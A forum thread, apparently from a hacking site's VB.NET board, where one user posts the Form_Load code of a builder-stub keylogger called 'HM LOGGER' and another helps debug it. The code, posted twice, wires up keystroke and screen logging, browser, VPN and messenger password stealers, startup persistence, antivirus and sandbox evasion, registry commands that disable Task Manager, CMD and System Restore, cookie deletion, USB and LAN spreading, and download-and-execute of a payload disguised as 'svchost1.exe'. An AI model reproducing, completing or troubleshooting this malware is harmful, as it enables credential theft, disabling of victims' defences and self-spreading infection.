+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: VB Keylogger, Its running but nothing is happening (/Thread-VB-Keylogger-Its-running-but-nothing-is-happening)
RE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
What most probably happens in keyloggers or any builder-stub based applications is that an error occurs on execution and everything after that is ignored since people usually use Try catch without catching and displaying any exception.
Just comment the try catch in form load, and test accordingly.
For easier testing modify the stub temporarily and provide inputs to be taken from the builder so you can test it easily.
RE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
What most probably happens in keyloggers or any builder-stub based applications is that an error occurs on execution and everything after that is ignored since people usually use Try catch without catching and displaying any exception.
Just comment the try catch in form load, and test accordingly.
For easier testing modify the stub temporarily and provide inputs to be taken from the builder so you can test it easily.
RE: VB Keylogger, Its running but nothing is happening - hilda89 - 10-06-2013
Done that no error but still the same thing the cpu usage for the file is 00 also
RE: VB Keylogger, Its running but nothing is happening - hilda89 - 10-06-2013
Done that no error but still the same thing the cpu usage for the file is 00 also
RE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
Post your updated code of stub, only the Form Load is required and any sub concerned with it.
RE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
Post your updated code of stub, only the Form Load is required and any sub concerned with it.
RE: VB Keylogger, Its running but nothing is happening - hilda89 - 10-06-2013
Code:
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)
Try
'------------------------Main-------------------------
'-----------------KeyLogger--------------------------
If settings(11) = "True" Then
Try
CheckForIllegalCrossThreadCalls = False
LoadLogger()
Dim t As New Threading.Thread(AddressOf Write)
t.Start()
Catch ex As Exception
End Try
End If
'-----------------KeyLogger--------------------------
'-----------------Screen Logger---------------------
If settings(12) = "True" Then
Try
Timer2.Enabled = True 'Enabled Screen Logger Timer
Catch ex As Exception
End Try
End If
Try
Timer2.Interval = settings(13) * 60000 'Screen Logger Logs Interval
Catch ex As Exception
End Try
'-----------------Screen Logger---------------------
'----------------------------------------------------
'------------------------Stealers-------------------
If settings(14) = "True" Then 'Opera Stealer
Try
opera()
Catch ex As Exception
End Try
End If
If settings(15) = "True" Then 'Chrome Stealer
Try
chrome()
Catch ex As Exception
End Try
End If
If settings(16) = "True" Then 'IE Stealer
Try
iepv()
Catch ex As Exception
End Try
End If
If settings(17) = "True" Then 'Firefox Stealer
Try
firefox()
Catch ex As Exception
End Try
End If
If settings(18) = "True" Then 'Vpn Stealer
Try
vpnpass()
Catch ex As Exception
End Try
End If
If settings(19) = "True" Then 'Messenger Stealer
Try
mspass()
Catch ex As Exception
End Try
End If
If settings(20) = "True" Then 'CD Keys Stealer
Try
CD_KeysStealer()
Catch ex As Exception
End Try
End If
'------------------------Stealers-------------------
'----------------------------------------------------
'--------------Virus Function----------------------
'--------------------Melt----------------------------
If settings(21) = True Then
Try
MeltMe()
Catch ex As Exception
End Try
End If
'--------------------Melt----------------------------
'--------------------Startup----------------------------
If settings(22) = "True" Then 'Add to Startup
Try
AddToStartup(Me.Text, Application.ExecutablePath)
Catch ex As Exception
End Try
End If
'--------------------Startup----------------------------
'----------------------------------------------------
'-------------------System Functions--------------------
'--------------------Antis----------------------------
If settings(23) = "True" Then 'Anti KeyScrambler
Try
ScramblerDesver()
Catch ex As Exception
End Try
End If
If settings(24) = "True" Then 'Anti WireShark
Try
SharkWireDesver()
Catch ex As Exception
End Try
End If
If settings(25) = "True" Then 'Anti Anubis
Try
DesverAnubis()
Catch ex As Exception
End Try
End If
If settings(26) = "True" Then 'Anti MalwareBytes
Try
DesverMalwarebytes()
Catch ex As Exception
End Try
End If
If settings(27) = "True" Then 'Anti Kaspersky
Try
DesverKaspersky()
Catch ex As Exception
End Try
End If
If settings(28) = "True" Then 'Anti Sandboxie
Try
AntiSandboxie()
Catch ex As Exception
End Try
End If
If settings(29) = "True" Then 'Anti Sandboxie
Try
AntiSandboxie()
Catch ex As Exception
End Try
End If
If settings(30) = "True" Then 'Anti Norman
Try
DesverNorman()
Catch ex As Exception
End Try
End If
If settings(31) = "True" Then 'Anti BitDefender
Try
DesverBitDefender()
Catch ex As Exception
End Try
End If
If settings(32) = "True" Then 'Anti Node32
Try
DesverNOD32()
Catch ex As Exception
End Try
End If
If settings(33) = "True" Then 'Anti ZoneAlarm
Try
DesverZoneAlarm()
Catch ex As Exception
End Try
End If
If settings(34) = "True" Then 'Anti Comodo
Try
AntiComodo()
Catch ex As Exception
End Try
End If
If settings(35) = "True" Then 'Anti VirtualPC
Try
AntiVirtualPC()
Catch ex As Exception
End Try
End If
If settings(36) = "True" Then 'Anti Avast
Try
AntiAvast()
Catch ex As Exception
End Try
End If
If settings(37) = "True" Then 'Anti AVG
Try
AntiAVG()
Catch ex As Exception
End Try
End If
'--------------------Antis---------------------------
'--------------------Disablers------------------------
If settings(38) = "True" Then 'Disable Run
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(39) = "True" Then 'Disable Registry
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(40) = "true" Then 'Disable CMD
Try
Shell("REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(41) = "True" Then 'Disable RightClick
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(42) = "True" Then 'Disable TaskManager
Try
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord)
Catch ex As Exception
End Try
End If
If settings(43) = "True" Then 'Disable SystemRestore
Try
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
Catch ex As Exception
End Try
End If
If settings(44) = "True" Then 'Disable AV Websites
Try
Websites()
Catch ex As Exception
End Try
End If
'--------------------Disablers------------------------
'--------------------Deleters------------------------
If settings(45) = "True" Then 'Internet Explorer Cookies Deleter
Dim Cookies As String = Environment.GetFolderPath(Environment.SpecialFolder.Cookies)
If System.IO.Directory.Exists(Cookies) Then
For Each File As String In My.Computer.FileSystem.GetFiles(Cookies) 'For each file in Special Folder Cookies
Try
My.Computer.FileSystem.DeleteFile(File) 'Delete each File in the Special Folder Cookies
Catch
End Try
Next
End If
End If
If settings(46) = "True" Then 'Google Chrome Cookies Deleter
Try
Chrome_Killer() 'This is used to Close Chrome incase it was Openned
Catch ex As Exception
End Try
Try
Dim ChromeCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Cookies"
My.Computer.FileSystem.DeleteFile(ChromeCookies) 'Delete the file "Cookies"
Catch ex As Exception
End Try
Try
Dim ChromeCookies2 As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Extension Cookies"
My.Computer.FileSystem.DeleteFile(ChromeCookies2) 'Delete the file "Extrension Cookies"
Catch ex As Exception
End Try
End If
If settings(47) = "True" Then 'FireFox Cookies Deleter
Try
Dim MozillaCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles"
If System.IO.Directory.Exists(MozillaCookies) Then 'If the Location above exist then
For Each mozillaCookiesProfiles As String In My.Computer.FileSystem.GetDirectories(MozillaCookies) 'For each file in Profiles
For Each mozillaCookielikelikelikelikelike As String In My.Computer.FileSystem.GetFiles(mozillaCookiesProfiles) 'For each file in each file found in Profiles
If mozillaCookielikelikelikelikelike.Contains("signon") Then 'If any of these files contain "signon"
Try
My.Computer.FileSystem.DeleteFile(mozillaCookielikelikelikelikelike) 'Then delete these whole files and not only "signon"
Catch
End Try
End If
Next
Next
End If
Catch ex As Exception
End Try
End If
'--------------------Deleters------------------------
'--------------------Spreaders------------------------
If settings(48) = "True" Then 'USB Spreader
Try
USBSpreader.RunWorkerAsync()
Catch ex As Exception
End Try
End If
If settings(49) = "True" Then 'Lan Spreader
Try
UniversalUser()
CreateShare("C:\Program Settings", "Program Settings")
Call Share()
Catch ex As Exception
End Try
End If
'--------------------Spreaders------------------------
'--------------------Downloader & Execute-------------
If settings(50) = True Then
Try
My.Computer.Network.DownloadFile(settings(51), Path.GetTempPath & "svchost1.exe") 'Download the File and save it in "Temp" as "svchost1.exe"
Process.Start(Path.GetTempPath & "svchost1.exe") 'Run the File
Catch ex As Exception
Process.Start(Path.GetTempPath & "svchost1.exe") 'If the File already Existed then just Run it
End Try
End If
'--------------------Downloader & Execute-------------
'--------------------Fake Message-------------------
If settings(52) = "True" Then
Try
If settings(54) = "Error" Then
MsgBox(settings(53), MessageBoxIcon.Error)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "settings" Then
MsgBox(settings(53), MessageBoxIcon.Information)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "Question" Then
MsgBox(settings(53), MessageBoxIcon.Question)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "Warning" Then
MsgBox(settings(53), MessageBoxIcon.Warning)
End If
Catch ex As Exception
End Try
End If
'--------------------Fake Message--------------------
VictimInfo = "###################HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & "Victim: " & Environment.UserName & vbNewLine & "Country: " & System.Globalization.RegionInfo.CurrentRegion.EnglishName & vbNewLine & "Computer name: " & My.Computer.Name & vbNewLine & "Total Physical Memory: " & My.Computer.Info.TotalPhysicalMemory & vbNewLine & "External IP: " & GetExternalIP() & vbNewLine & "Date : " & Date.Now & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "################### HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine
StealersBlank = "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & TextBox1.Text & TextBox2.Text & TextBox3.Text & TextBox4.Text & TextBox5.Text & TextBox6.Text & RichTextBox2.Text & "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine
Try
Timer1.Interval = settings(10) * 60000 'Change the Timer1 Interval... Each 1 second = 1000 MS (Timers works with MS)
Timer1.Enabled = True 'Enabled the timer
Catch ex As Exception
End Try
'----------------------------------------------------
Catch ex As Exception
End Try
End SubRE: VB Keylogger, Its running but nothing is happening - hilda89 - 10-06-2013
Code:
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)
Try
'------------------------Main-------------------------
'-----------------KeyLogger--------------------------
If settings(11) = "True" Then
Try
CheckForIllegalCrossThreadCalls = False
LoadLogger()
Dim t As New Threading.Thread(AddressOf Write)
t.Start()
Catch ex As Exception
End Try
End If
'-----------------KeyLogger--------------------------
'-----------------Screen Logger---------------------
If settings(12) = "True" Then
Try
Timer2.Enabled = True 'Enabled Screen Logger Timer
Catch ex As Exception
End Try
End If
Try
Timer2.Interval = settings(13) * 60000 'Screen Logger Logs Interval
Catch ex As Exception
End Try
'-----------------Screen Logger---------------------
'----------------------------------------------------
'------------------------Stealers-------------------
If settings(14) = "True" Then 'Opera Stealer
Try
opera()
Catch ex As Exception
End Try
End If
If settings(15) = "True" Then 'Chrome Stealer
Try
chrome()
Catch ex As Exception
End Try
End If
If settings(16) = "True" Then 'IE Stealer
Try
iepv()
Catch ex As Exception
End Try
End If
If settings(17) = "True" Then 'Firefox Stealer
Try
firefox()
Catch ex As Exception
End Try
End If
If settings(18) = "True" Then 'Vpn Stealer
Try
vpnpass()
Catch ex As Exception
End Try
End If
If settings(19) = "True" Then 'Messenger Stealer
Try
mspass()
Catch ex As Exception
End Try
End If
If settings(20) = "True" Then 'CD Keys Stealer
Try
CD_KeysStealer()
Catch ex As Exception
End Try
End If
'------------------------Stealers-------------------
'----------------------------------------------------
'--------------Virus Function----------------------
'--------------------Melt----------------------------
If settings(21) = True Then
Try
MeltMe()
Catch ex As Exception
End Try
End If
'--------------------Melt----------------------------
'--------------------Startup----------------------------
If settings(22) = "True" Then 'Add to Startup
Try
AddToStartup(Me.Text, Application.ExecutablePath)
Catch ex As Exception
End Try
End If
'--------------------Startup----------------------------
'----------------------------------------------------
'-------------------System Functions--------------------
'--------------------Antis----------------------------
If settings(23) = "True" Then 'Anti KeyScrambler
Try
ScramblerDesver()
Catch ex As Exception
End Try
End If
If settings(24) = "True" Then 'Anti WireShark
Try
SharkWireDesver()
Catch ex As Exception
End Try
End If
If settings(25) = "True" Then 'Anti Anubis
Try
DesverAnubis()
Catch ex As Exception
End Try
End If
If settings(26) = "True" Then 'Anti MalwareBytes
Try
DesverMalwarebytes()
Catch ex As Exception
End Try
End If
If settings(27) = "True" Then 'Anti Kaspersky
Try
DesverKaspersky()
Catch ex As Exception
End Try
End If
If settings(28) = "True" Then 'Anti Sandboxie
Try
AntiSandboxie()
Catch ex As Exception
End Try
End If
If settings(29) = "True" Then 'Anti Sandboxie
Try
AntiSandboxie()
Catch ex As Exception
End Try
End If
If settings(30) = "True" Then 'Anti Norman
Try
DesverNorman()
Catch ex As Exception
End Try
End If
If settings(31) = "True" Then 'Anti BitDefender
Try
DesverBitDefender()
Catch ex As Exception
End Try
End If
If settings(32) = "True" Then 'Anti Node32
Try
DesverNOD32()
Catch ex As Exception
End Try
End If
If settings(33) = "True" Then 'Anti ZoneAlarm
Try
DesverZoneAlarm()
Catch ex As Exception
End Try
End If
If settings(34) = "True" Then 'Anti Comodo
Try
AntiComodo()
Catch ex As Exception
End Try
End If
If settings(35) = "True" Then 'Anti VirtualPC
Try
AntiVirtualPC()
Catch ex As Exception
End Try
End If
If settings(36) = "True" Then 'Anti Avast
Try
AntiAvast()
Catch ex As Exception
End Try
End If
If settings(37) = "True" Then 'Anti AVG
Try
AntiAVG()
Catch ex As Exception
End Try
End If
'--------------------Antis---------------------------
'--------------------Disablers------------------------
If settings(38) = "True" Then 'Disable Run
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(39) = "True" Then 'Disable Registry
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(40) = "true" Then 'Disable CMD
Try
Shell("REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(41) = "True" Then 'Disable RightClick
Try
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f", AppWinStyle.Hide)
Catch ex As Exception
End Try
End If
If settings(42) = "True" Then 'Disable TaskManager
Try
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord)
Catch ex As Exception
End Try
End If
If settings(43) = "True" Then 'Disable SystemRestore
Try
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
Catch ex As Exception
End Try
End If
If settings(44) = "True" Then 'Disable AV Websites
Try
Websites()
Catch ex As Exception
End Try
End If
'--------------------Disablers------------------------
'--------------------Deleters------------------------
If settings(45) = "True" Then 'Internet Explorer Cookies Deleter
Dim Cookies As String = Environment.GetFolderPath(Environment.SpecialFolder.Cookies)
If System.IO.Directory.Exists(Cookies) Then
For Each File As String In My.Computer.FileSystem.GetFiles(Cookies) 'For each file in Special Folder Cookies
Try
My.Computer.FileSystem.DeleteFile(File) 'Delete each File in the Special Folder Cookies
Catch
End Try
Next
End If
End If
If settings(46) = "True" Then 'Google Chrome Cookies Deleter
Try
Chrome_Killer() 'This is used to Close Chrome incase it was Openned
Catch ex As Exception
End Try
Try
Dim ChromeCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Cookies"
My.Computer.FileSystem.DeleteFile(ChromeCookies) 'Delete the file "Cookies"
Catch ex As Exception
End Try
Try
Dim ChromeCookies2 As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\Google\Chrome\User Data\Default\Extension Cookies"
My.Computer.FileSystem.DeleteFile(ChromeCookies2) 'Delete the file "Extrension Cookies"
Catch ex As Exception
End Try
End If
If settings(47) = "True" Then 'FireFox Cookies Deleter
Try
Dim MozillaCookies As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles"
If System.IO.Directory.Exists(MozillaCookies) Then 'If the Location above exist then
For Each mozillaCookiesProfiles As String In My.Computer.FileSystem.GetDirectories(MozillaCookies) 'For each file in Profiles
For Each mozillaCookielikelikelikelikelike As String In My.Computer.FileSystem.GetFiles(mozillaCookiesProfiles) 'For each file in each file found in Profiles
If mozillaCookielikelikelikelikelike.Contains("signon") Then 'If any of these files contain "signon"
Try
My.Computer.FileSystem.DeleteFile(mozillaCookielikelikelikelikelike) 'Then delete these whole files and not only "signon"
Catch
End Try
End If
Next
Next
End If
Catch ex As Exception
End Try
End If
'--------------------Deleters------------------------
'--------------------Spreaders------------------------
If settings(48) = "True" Then 'USB Spreader
Try
USBSpreader.RunWorkerAsync()
Catch ex As Exception
End Try
End If
If settings(49) = "True" Then 'Lan Spreader
Try
UniversalUser()
CreateShare("C:\Program Settings", "Program Settings")
Call Share()
Catch ex As Exception
End Try
End If
'--------------------Spreaders------------------------
'--------------------Downloader & Execute-------------
If settings(50) = True Then
Try
My.Computer.Network.DownloadFile(settings(51), Path.GetTempPath & "svchost1.exe") 'Download the File and save it in "Temp" as "svchost1.exe"
Process.Start(Path.GetTempPath & "svchost1.exe") 'Run the File
Catch ex As Exception
Process.Start(Path.GetTempPath & "svchost1.exe") 'If the File already Existed then just Run it
End Try
End If
'--------------------Downloader & Execute-------------
'--------------------Fake Message-------------------
If settings(52) = "True" Then
Try
If settings(54) = "Error" Then
MsgBox(settings(53), MessageBoxIcon.Error)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "settings" Then
MsgBox(settings(53), MessageBoxIcon.Information)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "Question" Then
MsgBox(settings(53), MessageBoxIcon.Question)
End If
Catch ex As Exception
End Try
Try
If settings(54) = "Warning" Then
MsgBox(settings(53), MessageBoxIcon.Warning)
End If
Catch ex As Exception
End Try
End If
'--------------------Fake Message--------------------
VictimInfo = "###################HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & "Victim: " & Environment.UserName & vbNewLine & "Country: " & System.Globalization.RegionInfo.CurrentRegion.EnglishName & vbNewLine & "Computer name: " & My.Computer.Name & vbNewLine & "Total Physical Memory: " & My.Computer.Info.TotalPhysicalMemory & vbNewLine & "External IP: " & GetExternalIP() & vbNewLine & "Date : " & Date.Now & vbNewLine & vbNewLine & vbNewLine & vbNewLine & "################### HM LOGGER V 1.0 - Victim's Info" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine
StealersBlank = "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & TextBox1.Text & TextBox2.Text & TextBox3.Text & TextBox4.Text & TextBox5.Text & TextBox6.Text & RichTextBox2.Text & "################### HM LOGGER V 1.0 - Stealers Logs" & " - " & "Date: " & Date.Now & " ###################" & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine & vbNewLine
Try
Timer1.Interval = settings(10) * 60000 'Change the Timer1 Interval... Each 1 second = 1000 MS (Timers works with MS)
Timer1.Enabled = True 'Enabled the timer
Catch ex As Exception
End Try
'----------------------------------------------------
Catch ex As Exception
End Try
End SubRE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
Just remove this first FileClose and it should work:
Quote:Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)
RE: VB Keylogger, Its running but nothing is happening - Coder-san - 10-06-2013
Just remove this first FileClose and it should work:
Quote:Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
settings = New String(55) {}
Dim ForTheFile As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ForTheFile = Space(LOF(1))
FileGet(1, ForTheFile)
FileClose(1)
settings = Split(ForTheFile, "@HM LOGGER@")
FileClose(1)